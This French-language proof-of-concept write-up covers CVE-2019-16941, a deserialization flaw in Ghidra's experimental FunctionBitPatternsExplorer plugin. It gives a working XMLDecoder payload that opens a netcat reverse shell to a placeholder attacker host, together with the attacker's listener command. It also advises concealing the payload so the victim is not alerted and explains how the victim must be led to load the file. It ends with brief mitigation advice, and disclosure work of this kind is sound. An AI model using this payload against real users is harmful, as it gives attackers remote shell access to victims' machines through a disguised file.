
PoC pour CVE-2019-16941
Preuve de concept :
La vulnérabilité nécessite plusieurs conditions relativement improbables pour être déclenchée, ce qui limite son exploitabilité. Cependant, il faut peu d'efforts et de compréhension pour préparer une charge utile, étant donné que celle-ci peut aboutir à une exécution de code arbitraire.
Création de la charge utile :
Pour créer une charge utile que la cible exécutera, un script intégré à Ghidra peut être utilisé. Pour y accéder, cliquez sur « Window » -> « Script Manager » et exécutez « DumpFunctionPatternInfoScript.java » avec les paramètres par défaut sur n'importe quel binaire que vous avez inclus dans le Code Browser (mais assurez-vous que le chemin du dossier dans lequel vous souhaitez enregistrer la sortie existe). Ce script produit un fichier de sortie XML qui sera ensuite chargé dans le composant vulnérable.

Ce modèle XML peut être utilisé pour injecter l'objet qui sera désérialisé en code Java et exécuté silencieusement, sans alerter l'utilisateur. Essentiellement, le code malveillant sera inséré comme un objet supplémentaire à la fin du fichier XML, avant la balise fermante . Un exemple de charge utile objet représentant un shell inverse est le suivant :
<object class="java.lang.Runtime" method="getRuntime">
<void method="exec">
<string>nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'</string>
</void>
</object>
Ce qui précède sera désérialisé en code Java suivant :
Process process = Runtime.getRuntime().exec("nc <IP_to_connect> <PORT_to_connect> -c '/bin/bash'")
Les options sont illimitées en termes de charge utile, puisque n'importe quel code Java (même un logiciel malveillant sophistiqué) peut être exécuté de cette manière, à condition qu'il soit correctement sérialisé au format XML requis par XMLDecoder. Il faut être prudent si la charge utile est insérée ailleurs dans le modèle (afin de la dissimuler davantage), car cela pourrait produire des exceptions lors de la désérialisation, alertant ainsi l'utilisateur.
Exécution :
Le processus par lequel la charge utile est exécutée utilise l'interface graphique de Ghidra et ne peut pas être automatisé. Il requiert plutôt une interaction humaine de la part de la victime, ce qui représente une autre condition pour que l'exploit s'exécute.
Pour que cet exploit fonctionne sur l'ordinateur de la victime, Ghidra doit avoir le plugin expérimental « FunctionBitPatternsExplorer » activé. Cela peut être réalisé en suivant les étapes ci-dessous :

Ensuite, l'utilisateur devra ouvrir le plugin depuis « Window » -> « Function Bit Patterns Explorer » et charger le fichier XML à l'aide de la fonctionnalité « Read XML Files ». Cela soulève toutefois un autre défi pour la section des conditions. L'attaquant a besoin d'un moyen d'amener l'utilisateur à télécharger la charge utile XML sur sa machine.
Du point de vue de la victime, la fonction ne permet pas de voir les fichiers XML dans la liste, donc si votre répertoire semble vide, c'est normal. Si vous commencez à taper leur nom dans la zone de texte « File name », ils apparaîtront ; cependant, il est important de n'en sélectionner aucun et de laisser le sélecteur pointer vers le répertoire, car il choisira les fichiers tout seul.

Avant que l'utilisateur ne clique sur « OK », l'attaquant (joe) devra avoir un écouteur actif sur son hôte distant et attendre la connexion. Cela peut facilement être réalisé en utilisant :
$ nc -lvnp <listening_port>
Après l'exécution, les résultats peuvent être vus ci-dessous :

La vulnérabilité a très peu de chances d'être exploitable à grande échelle en raison de la multitude de conditions impliquées. Jusqu'à ce qu'un nouveau correctif soit fourni, les meilleures mesures d'atténuation consistent à désactiver (ou à ne pas activer en premier lieu) le plugin expérimental concerné. Cependant, si le plugin doit être utilisé, les fichiers XML devraient provenir d'une source de confiance.